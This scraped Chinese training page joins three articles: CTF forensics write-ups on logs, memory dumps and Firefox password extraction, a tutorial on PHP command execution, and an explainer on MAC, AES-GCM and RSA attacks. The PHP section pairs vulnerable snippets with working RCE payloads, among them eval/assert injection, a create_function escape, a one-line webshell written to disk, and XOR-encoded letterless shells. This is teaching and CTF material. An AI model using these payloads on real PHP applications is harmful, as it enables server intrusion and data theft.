大致翻译:我们CEO的电脑在一次网络钓鱼中被攻击。攻击者小心地清理PowerShell日志,所以我们不知道他们执行了什么。大佬帮帮我们。
考点在于日志分析,题目给到的日志文件就高达323个
这里用的日志分析工具是Event Log Explorer,图形界面看起来非常的清晰。日志分析中排查优先级最高的,不出意外应该是powershell,但Windows Powershell的日志已经被攻击者删掉了。排序了下文件大小,发现还有个"Microsoft-Windows-PowerShell%4Operational",该日志会记录攻击者执行的Powershell命令都记录下来,把该日志放到工具里进行查看,在执行的第一个脚本注释处找到flag。
关于PowerShell5.0新功能的更多描述可以看这里:https://docs.microsoft.com/zh-tw/powershell/scripting/windows-powershell/whats-new/what-s-new-in-windows-powershell-50?view=powershell-7.2
Export
简介:We spotted a suspicious connection to one of our servers, and immediately took a memory dump. Can you figure out what the attackers were up to?
大概翻译:我们发现一个可疑的连接在我们的服务器上,并且很快进行内存存储,你能发现攻击者在干嘛吗?
题目是给的一个Raw文件,众所周知常见的内存文件格式有dmp、raw、img等等,既然跟内存文件有关就离不开做内存取证。这里推荐一个开源的内存取证框架 https://github.com/volatilityfoundation/volatility,以及对新手非常友好的autovolatility:https://github.com/carlospolop/autoVolatility 前者可以对数十个接口进行内存取证,后者可以批量将所有的接口进行取证并输出文件到本地。
跑完上述命令,可以获取到进程列表、事件日志、设备树、剪贴板内容、命令行等等信息
题目提到可疑链接,第一反应就是去看cmdline和cmdscan,前者显示进程的命令行参数,后者显示命令行的历史记录。在cmdscan文件里找到攻击者曾经执行过的一段Powershell无文件落地攻击
链接过一下URL的解码,ps1文件的名称感觉有点像flag了,再过一下Base64解密拿到flag。
Insider
简介:A potential insider threat has been reported, and we need to find out what they accessed. Can you help?
大概翻译:一个潜在的威胁被爆出,我们需要知道他们访问了什么,你能帮忙吗?
给到的是客户端上火狐浏览器的一些文件,尝试查一下如何读取火狐浏览器配置文件,寄了。。全网无资料。国外的师傅提到了一款工具 firefox_decrypt ,地址:https://github.com/unode/firefox_decrypt 。可以从Mozilla配置文件中提取密码,这种方法倒是很适合红队的同学在拿到靶标后使用,后面就是抄作业的过程:
好了作业抄完,再回顾下firefox_decrypt工具大概的实现原理,我们的用户记住密码后,数据一般都是放在本地,如果没有主密码的保护,这些密码应该是可以暴露出来的,所以firefox_decrypt就是对没有正确配置的本地密码进行读取(没理解错的话)。
Intel
简介:It seems a huge trove of credit card details is being sold by a group going by the name flinchsec. Can you find any sites or artefacts associated with this group that we can use to detect them?
大概翻译:看起来有一个叫 flinchsec的团伙正在售卖大量的信用卡详细信息,你能找到任何与这个团队关联的网站或文件,以至于我们可以使用来检测他们吗?
一道社工类型的题目。给的信息不多,我们只知道团队名叫flinchsec,谷歌搜索一下,在领英找到了这个团队
但是点击公司网站,返回了500,说明网站已经下掉了。但是如果我还想看到的话怎么办呢,想到了类似于网页快照之类的应用,百度查了一下有相关的实现:Wayback machine。并且在页面上看到有一个github的链接
到Releases下载文件后,strings命令看下程序里有没有flag的明文字符,结果失败了。后面看了大佬发的WP,竟然要用VT去查,脑洞太大了。。。
实验推荐
实验:内存镜像取证 https://www.yijinglab.com/expc.do?ec=ECID6a2f-ed6f-4f85-9363-731535a5c3c4>>
PHP命令执行集锦
前言
代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下
命令执行函数
E.g.1
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
$b = "$_GET[d]";
$array[0] =$b;
$c = array_map($a,$array);
?>
传入参数c和d,array_map函数作用将$a作为函数,$array作为参数,构造paylaod
?c=assert&d=system(%27ls%27);
E.g.2
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = create_function('',$a);
$b();
?>
create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
$b = create_function('',$a);
这里$a为函数,' '为参数
那么可以看作为
function lambda(){
• echo ' ' ;
}
传入payload
b= ;}phpinfo();/*
在function函数中即
function lambda(){
echo ' ' ;}phpinfo();/*
}
后面的内容注释掉了,即执行命令
E.g.3
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[d]";
$b='print'.$a.';';
$f = create_function('$a',$b);
$f($a)
跟上面一样,虽然有一点变形,但是再$b的打印上没有特殊之处,所以payload:
d=1;}system(%27ls%27);/*
一致。
E.g.4
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
assert($a);
?>
没什么特别之处,assert直接作为函数执行,payload:
?b=system(%27ls;%27)
E.g.5
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = "$_GET[c]";
call_user_func($a,$b);
?>
call_user_func()函数的特点,知道后面的后面的$b为参数,前面的$a为函数即可
payload:
?b=system&c=whoami
E.g.6
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = array($_GET['c']);
call_user_func_array($a,$b);
?>
payload:
?b=assert&c=system(%27whoami%27);
E.g.7
<?php
error_reporting(0);
show_source(__FILE__);
$_GET['a']($_GET['b']);
?>
传入参数a和b,一个作为函数执行,一个做位参数,构造payload:
?a=assert&b=system(%27ls%27)
E.g.8
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
eval($a);
?>
一句话木马有没有很熟悉,直接get方式传参给b即可,payload:
?b=system("ls");
E.g.9
<?php
show_source(__FILE__);
echo "<br>";
echo '请输入一个a的值';
echo "<br>";
error_reporting(0);
$price = $_GET['a'];
$code = 'echo $name. '.'的美元价格是' .$price.'; ';
$b = create_function('$name',$code);
$b('iphone');
?>
基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再$code的位置
payload:
?a=1;}system(%27ls%27);/*
E.g.10
<?php
show_source(__FILE__);
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$database = array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';
usort($database,create_function('$a,$b',$sort_function));
?>
属于加强版本,$sort_function的内容进行闭合,也就是sort_by的参数值要实现闭合,构造payload:
?sort_by=%27"]);}system(%27whoami%27);/*
E.g.11
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
$b = preg_replace("/abc/e",$a,'abcd');
var_dump($b);
?>
虽然加了正则,但是并没有什么卵用,假把式,payload:
?c=system(%27ls%27);
E.g.12
<?php
show_source(__FILE__);
$commandExecution = "echo ";
echo "<br>";
system($commandExecution.$_GET['a']);
echo "<br>";
?>
payload
?a=<\?php\%20\@eval($_POST[a])\;%20\?>%20>2.php
一句话木马写入2.php
也有其它解法直接进行命令执行。
E.g.13
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo "<br>";
exec($a,$b);
var_dump($b);
?
exec()函数直接执行命令,那么payload
?c=whoami
E.g.14
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo shell_exec($a);
?
函数的特性shell_exec
?c=ls>2.txt
然后执行
?c=cat 2.txt
此时
E.g.15
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo "<br>";
echo `$a`;
?>
看到echo以及传入的字符串,方法类似于上面的一道
?c=cat%20flag.php>3.txt
直接访问3.txt即可,或者
?c=cat%203.txt
E.g.16
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
passthru($a);
?>
payload:
?c=cat%20flag.php
E.g.17
<?php
error_reporting(0);
show_source(__FILE__);
$cmd=$_GET['c'];
$fd = popen($cmd, 'r');
while($s=fgets($fd)){
print_r($s);
}
?>
payload
?c=cat%20flag.php
E.g.18
<?php
error_reporting(0);
show_source(__FILE__);
$command=$_GET['c'];
$descriptorspec=array(
0=>array('pipe','r'),
1=>array('pipe','w'),
2=>array('pipe','w')
);
$handle=proc_open($command,$descriptorspec,$pipes,NULL);
if(!is_resource($handle)){
die('proc_open failed');
}
while($s=fgets($pipes[1])){
print_r($s);
}
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
payload
?c=cat%20flag.php
E.g.19 无字母shell
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){ //检测字符长度
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
die("NO.");
}
@eval($code); //$code的值要为非字母和数字
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可
<?phpvar_dump('#'^'|'); var_dump('.'^'~');var_dump('/'^''); var_dump('|'^'/'); var_dump('{'^'/'); $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");//变量$_值为字符串'POST'?>
no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下
function getflag(){
xxxxxxxxxxxxxxxx
}
@eval($code);
函数的调用就是类似于上面的过程,那么eval在执行的过程中$code并不能直接执行,参考上面的题7那么我传入的code的参数的形式为$_GET[]且需要调用getFlag()方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容:
?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag
或者
?code=$="`{{{"^"?<>/";${$}$%7B$_%7D%5B__%5D;&_=getFlag
这里
//_GET 的变形无字母shell
$_="`{{{"^"?<>/";
小结
大佬请绕路,如有错误欢迎师傅们指出。
实验推荐
实验:PHP命令注入攻击 https://www.yijinglab.com/expc.do?ce=c9246cb4-e33e-4528-84d5-b7636ea753c1>>
密码学的安全性浅析3
前言
本文是本系列的第三篇,由于侧重点是对密码学中的安全性问题进行分析,所以不会对密码学基础的核心概念进行阐述,如果阅读本系列文章时不明白所涉及的术语时请参考国内大学的推荐教材,如《密码学原理与实践》《深入浅出密码学》,如果只是感兴趣而并非要深入了解,只阅读《图解密码技术》也就够了。
MAC
MAC是指消息认证码(带密钥的Hash函数),是密码学中通信实体双方使用的一种验证机制,保证消息数据完整性的一种工具。构造方法由M.Bellare提出,安全性依赖于Hash函数,故也称带密钥的Hash函数。消息认证码是基于密钥和消息摘要所获得的一个值,可用于数据源发送方认证和完整性校验。MAC一般不会从头设计,而是从已有的哈希函数改造而来,比如加前缀、后缀或其他方法。
加前缀
加前缀时,返回的是Hash(K||M),从而将普通的哈希函数转为带密钥的哈希函数,其容易受到长度扩展攻击、碰撞攻击。
长度扩展攻击
长度扩展攻击我们之前已经提过,在这种攻击场景下,攻击者可以在不知道M1和K的基础上,仅通过Hash(K||M1)就可以计算出Hash(K||M1||M2),相当于攻击者可以伪造有效的MAC标签。
碰撞攻击
此处的碰撞攻击是由于密钥长度不同导致的。如果密钥K1是24比特的16进制字符串abcdef,消息M1是12,则返回的是Hash(abcded12),如果密钥K2是abcd,消息M2是ef12,则返回的也是Hash(abcded12),这就发生了碰撞
加后缀
加后缀的方法返回的是Hash(M||K),此时可以抵御长度扩展攻击,但是还是会存在碰撞的问题。
设有两个消息M1,M2,存在碰撞Hash(M1)=Hash(M2),比如在SHA-256中,此时就会存在Hash(M1||K)=Hash(M2||K)
换言之,攻击者通过如下流程即可发动攻击:
1.找到两个碰撞的消息M1,M2
2.请求受害者计算M1哈希的MAC标签Hash(M1||K)
3.猜测相同的Hash(M2||K),从而伪造一个有效的标签并破坏MAC的安全性
HMAC
HMAC,即散列消息认证码(Hash-based message authentication code),是一种通过特别计算方式之后产生的消息认证码(MAC),使用密码散列函数,同时结合一个加密密钥。它可以用来保证资料的完整性,同时可以用来作某个消息的身份验证。
HMAC从哈希函数构造MAC,这比前面两种方案都安全,IPSec,SSH,TLS等都使用了HMAC
CMAC
CMAC,Cipher-based Message Authentication Code,它是一种基于分组密码的消息认证码算法是基于密码的MAC,只提供一个分组密码如AES,就可以构造MAC。
CBC-MAC是最早的CMAC,其用CBC模式对全0初始值IV下的消息M进行加密,并只保留最后一组密文作为消息M的标签.基本的计算过程就是分别计算C1=E(K,M1),C2=E(K,M2⊗C1),C3=E(K,M3⊗C2)...对M的每个分组只保留最后的Ci,这就是经过CBC-MAC的M的标签。
其容易被攻击者构造出新的消息-标签对。攻击流程如下
设存在两个不同的消息M1,M2,对应的标签分别为T1=E(K,M1),T2=E(K,M2),攻击者由此可以构造出新的消息-标签对,即消息M1||(M2⊗T1)的标签为T2,推导过程如下:
要对M1||(M2⊗T1)生成标签,则先要计算C1=E(K,M1)=T1,然后计算C2=E(K,(M2⊗T1)⊗T1))=E(K,M2)=T2
由此,攻击者就从两个消息-标签对,且不知道密钥的情况下构造出了新的消息-标签对,这意味着攻击者可以伪造CBC-MAC的标签,所以CBC-MAC并不安全
AE
AE,Authenticated encryption,即认证加密,这既能实现消息的保密,又能保护消息的真实性,即实现认证。所以一个AE算法既有密码算法的特性又有MAC的特性。要实现AE,如下图所示有三种方式:
同时加密和MAC(Encrypt-and-MAC,E&M)
发送方:给定明文P,计算得到密文C=E(K1,P),同时计算得到认证标签T=MAC(K2,P),发送C,T
接收方:计算P=D(K1,C)得到P,然后用这个P计算MAC(K2,P),将结果与收到的T比较。如果C或T损坏,认证都会失败。
这个方案理论上是最不安全的。即使用的是安全的MAC,也有可能从中泄露明文P的信息,因为MAC仅用于确保不可伪造,不能确保随机。除非用的MAC非常强大,比如伪随机函数等。
SSH使用的就是这种方案,其用的MAC是HMAC-SHA-256,保证了不会泄露P的信息
先MAC再加密(MAC-then-Encrypt,MtE)
发送方:首先计算T=MAC(K2,P)来保护消息P,然后加密得到C=E(K1,P||T),这里将明文和标签一起加密,得到密文。发送方发送C
接收方:解密C,即P||T=D(K1,C)得到P||T,然后通过得到的明文P计算标签MAC(K2,P),并与得到的T比较,如果符合,则认证成功。
这种方式隐藏了明文的认证标签,从而防止标签泄露明文中的认证信息。
在TLS1.3之前,都是使用该方案。
先加密再MAC(Encrypt-then-MAC,EtM)
发送方:首先加密得到密文C=E(K1,P),然后计算认证标签T=MAC(K2,C),将其发送
接收方:使用MAC(K2,C)计算结果与收到的T比较,若相符,则再计算P=D(K1,C),得到明文。
这个方案的优势在于:1.接收方只需要计算MAC就可知道信息是否损坏,如果损坏就不需要进一步解密了;2.对于攻击者而言,除非能破解MAC,否则不能同时将C和T发送给接收方获得解密结果,这使得攻击者更难向接收方发送恶意数据
所以这种方案是三者之间最安全的,IPSec使用了方案
AES-GCM
除了如上三种,组成起来实现,也有专门的认证加密算法,其可以表示为
加密:AE(K,P)=(C,T),K是密钥,P是明文,C是密文,T是身份认证标签
解密:AD(K,C,T)=P,如果C,T至少有一个无效,则AD会返回错误,而如果返回明文,则可以确保这个明文是被用正确密钥加密过的明文。
从认证角度看,其功能与MAC一样,这意味着想要伪造AD能接收并解密的密文和标记对(C,T)是不可能的
从加密角度看,认证加密比普通密码算法更安全,因为它只有在标签有效的情况下才会用密钥进行解密。这可以防止选择密文攻击。
认证加密算法中目前唯一被承认的正式标准就是AES-GCM,其基于AES算法,采用Galois计数器模式(GCM)实施。其示意图如下
GCM本质上是对CTR模式的改进,集成了一个小组件计算身份认证标签,其示意如下
AES-GCM容易受到攻击,包括nonce重放攻击以及由弱哈希密钥、短标签等引发的攻击。
nonce重放攻击
这是AES-GCM最大的漏洞。如果用户在两次AES-GCM中使用相同的nonce N,攻击者就可以获得身份认证密钥H,继而可以使用H为任何密文、关联数据伪造标签。
其基本代数结构如下
标签T通过下式计算得到:
上式中的GHASH是一个通用哈希函数,其输入输出线性相关
此时如果有用相同nonce计算得到的两个标签T1,T2,将其异或可以得到
可以看到,此时AES的部分就消去了
然后利用GHASH的线性特性,攻击者就可以确定H,从而拿到身份认证密钥
弱哈希密钥
GHASH存在重大缺陷,哈希密钥H的某些取值大大简化了对GCM认证机制的攻击,概括来说,如果H的取值属于某个特定的数学上定义的子群中时,攻击者可以通过仅仅对前一条消息分组进行变换从而猜测出某个消息的身份认证标签T。
GHASH的内部结构我们这里略去,直接到最后一步,此时有
GHASH将消息的长度与Xn异或,将结果乘以H,然后将这个值与AES(K,N||0)异或,从而得到身份认证标签T
这里的漏洞在于,如果H=0,则不论Ci为何值都有Xn=0,与消息无关。这意味着,如果H=0,那么所有的消息都会具有相同的身份认证标签;而如果H=1,那么标签实际上只是密文分组的异或,这样会导致重新排序的密文分组会有相同的身份认证标签。
当然,除了H=0,H=1之外,当H取其他值时也会发生异常情况。例如基于5阶循环群的例子,设H=10d04d25f93556e69f58ce2f8d035a4,这是一个属于长度为5的循环的,H的取值满足H^5=H,那么对任何5的倍数e,都有
H^e=H
那么在前面的Xn的表达式中,交换分组Cn(和H相乘)和分组Cn-4(和H^5相乘)不会改变身份认证标签,这实际上就相当于伪造了。即,攻击者可在不知道密钥的情况下,利用这个属性构造新的消息及其有效认证标签。
更详细的分析可以阅读论文《Cycling Attacks on GCM, GHASH and Other Polynomial MACs and Hashes》
短标签
实际中AES-GCM通常返回128比特的标签,不过它可以生成任意长度的标签,但是长度越小,被伪造的可能性越高。
使用128比特长度时,伪造成功的概率为1/2^128;但是,由于GCM结构内在缺陷,当长度较短时,伪造的概率要大于
1/2^n
比如如果长度为32比特,则成功伪造的概率为1/2^16而不是我们以为的
1/2^32
根据Ferguson的论文指出,对于n比特标签,成功伪造概率为2^m/
2^n
其中2^m是攻击者能够获得的对应标签的最长消息的分组数目。
举个例子,如果使用48比特的标签去处理4GB的消息(2^28个块),
那么能够伪造的概率为2^20,这在密码学中是一个很高的概率了。
更详细的分析可以阅读论文《AuthenticationweaknessesinGCM》
RSA
RSA加密算法是一种非对称加密算法,在公开密钥加密和电子商业中被广泛使用。RSA是由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)在1977年一起提出的.RSA的工作原理就是创建一个被称为陷门置换的数学对象。陷门置换描述的是符合下述性质的函数:
将数字x变换为同一范围内的数字y,除非知道私钥,否则不能从y计算得到x,这个私钥就称为陷门.
陷门置换
陷门置换是RSA的核心。给定模数n和公开指数e,RSA陷门置换将群Zn中的数x通过y= x^e mod n变换为群Zn中的另一个数y。
在加密时,n和e就是RSA的公钥
为了能够从y计算出x,则需要另一个数d,通过如下计算得到x
d就是陷门,也是RSA私钥的一部分,d也被称为秘密指数
d并不能任意取值,其必须满足
这样才能得到
这里需要注意,我们用的是模φ(n)而不是模n
φ(n)=(p-1)(q-1),这个数对RSA的安全性至关重要,如果攻击者能从模数n中求出φ(n),就等价于破解了RSA。这是因为如果知道φ(n),在计算e模φ(n)的逆,就可以得到d。为此,p和q也应该保密,因为φ(n)可以由其计算得到
整个RSA的安全级别取决于n的大小、p与q的选择、陷门置换的应用;如果n太小,则容易对其分解,从而泄露私钥;如果p与q太小或者太接近,则容易从n中确定出相应取值;陷门置换不应该被直接用于签名或加密
陷门置换的误用
在教科书中的RSA介绍中,通常会看到误用陷门置换的情况,其被直接用于加密或者签名了。即,RSA中的明文只是要加密的消息。这看起来没问题,实际上存在很大的风险。
加密
这种教科书式的RSA加密是确定性的,即对同一明文加密两次,得到的密文是相同的。除此之外,更大的问题是,当给定两个密文y1=x1^e mod n和
y2=x2^e mod n时,攻击者可以通过将其相乘,得到明文x1xx2的密文:
这个结果就是消息x1xx2 mod n对应的密文,这意味着,攻击者可以从两个RSA密文中构造出新的有效密文。这种弱点我们称之为扩展性风险(安全的密码应该确保只有在知道x1,x2时才能得到两者相乘的密文,如果只知道y1,y2是不能够得到的)
为了使RSA不可扩展,提出了OAEP,其中密文由待加密消息和一些padding组成,他们一起组成了RSA-OAEP。
OAEP的示意图如下
图中, n是RSA模数的位数,k0和k1是协议中的固定整数。m是n-k0-k1位长的明文消息,G和H是随机预言,如加密散列函数,⊕是异或运算。
编码过程包括如下步骤:
用 k1 位长的 0 将消息填充至 n - k0 位的长度。
随机生成 k0 位长的串 r
用 G 将k0 位长的 r 扩展至 n - k0 位长。
X = m00...0 ⊕ G(r)
H 将 n - k0 位长的 X 缩短至 k0 位长。
Y = r ⊕ H(X)
输出为 X || Y,在图中 X 为最左边的块,Y 位最右边的块。
随后可以使用 RSA 加密编码的消息
解码过程包括如下步骤:
恢复随机串 r 为 Y⊕H(X)
恢复消息 m00...0 为 X ⊕ G(r)
签名
教科书中的RSA签名同样是简化过的,通过直接计算y = x^d mod n对消息x进行签名。这虽然简单,便于初学者理解,但是其存在签名被伪造的风险。
举个最简单的例子,因为有
0^d mod n=0
1^d mod n=1
(n-1)^d mod n = n-1
那么攻击者一直可以在不知道d的情况下伪造0,1,n-1的签名
更严重的攻击手段我们称之为盲签名攻击,即消息M不会被受害者主动签名,但是攻击者可以让M被受害者签名。攻击流程如下
1.攻击者找到某个值R,R^eM mod n是受害者会签名的一条信息,此时得到的签名记做S=(R^eM)^d mod n,现在的问题就是攻击者怎样能得到M的签名,即M^d
2.推导如下
且
所以有
S=(ReM)^d
RM^d
为了得到M^d,将S除R即可
为了避免这种攻击,提出了RSA概率签名方案PSS,PSS之于RSA签名等同于OAEP之于RSA加密,它能让签名更安全,其流程比较复杂,基本示意图如下
此外还有更简单的签名方案,即FDH,全域哈希。
Bellcore攻击
Bellcore攻击属于错误攻击的一种,其迫使算法的一部分执行不当,产生错误的结果,将其与正确结果相比较,从而获得关于算法内部值的信息。
Bellcore适用于使用中国剩余定理的确定性的RSA签名方案。
由相关基础知识,我们有
其中
假设攻击者在就按xq时产生错误,得到错误值xq’,继续使用xq‘并得到相应的x’。那么攻击者现在就可以计算正确的签名x和错误的签名x‘的差,并由此分解模数n:
由上式,x-x'是p的倍数,即p是x-x'的除数,由于p也是n的除数,所以n和x-x'的最大公约数是p,即
然后就可以计算出q=n/p以及d,从而破解RSA签名
共享模数n
我们直接举个例子。
设攻击者的私钥为(n,d1),受害者的私钥为(n,d2),受害者公钥为(n,e2),此时攻击者知道n,不知道p和q,所以不能从公开指数e2计算秘密指数d2。那么怎么从d中计算出p和q呢?
我们知道d和e满足
虽然我们不知道d或φ(n),但是我们可以计算出kφ(n)=ed-1
根据欧拉定理,对于任何一个与n互素的数a,有a^(φ(n))=1 mod n,所以,对模数n,有下式:
由于kφ(n)是偶数,所以可以写成2^st,所以可以把
写成如下形式
式子中的x可以通过kφ(n)计算得到
x^2-1=(x-1)(x+1),这意味
x^2-1可以被n整除,即x-1或x+1二者必有其一与n有相同的因数,从而可以算出n的因数,从而攻破RSA。
参考
1.https://link.springer.com/content/pdf/10.1007%2F0-387-34805-0_39.pdf
2.《foundations of cryptography》
3.https://link.springer.com/chapter/10.1007/3-540-68697-5_1
4.https://eprint.iacr.org/2006/043.pdf
5.https://link.springer.com/chapter/10.1007/978-3-540-74143-5_2
6.https://www.cs.ucdavis.edu/~rogaway/papers/ae.pdf
7.https://link.springer.com/chapter/10.1007/978-3-642-34047-5_13
8.https://csrc.nist.gov/CSRC/media/Projects/Block-Cipher-Techniques/documents/BCM/Comments/CWC-GCM/Ferguson2.pdf
9.https://competitions.cr.yp.to/caesar.html
10.https://www.sciencedirect.com/science/article/abs/pii/S1574013715300290
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

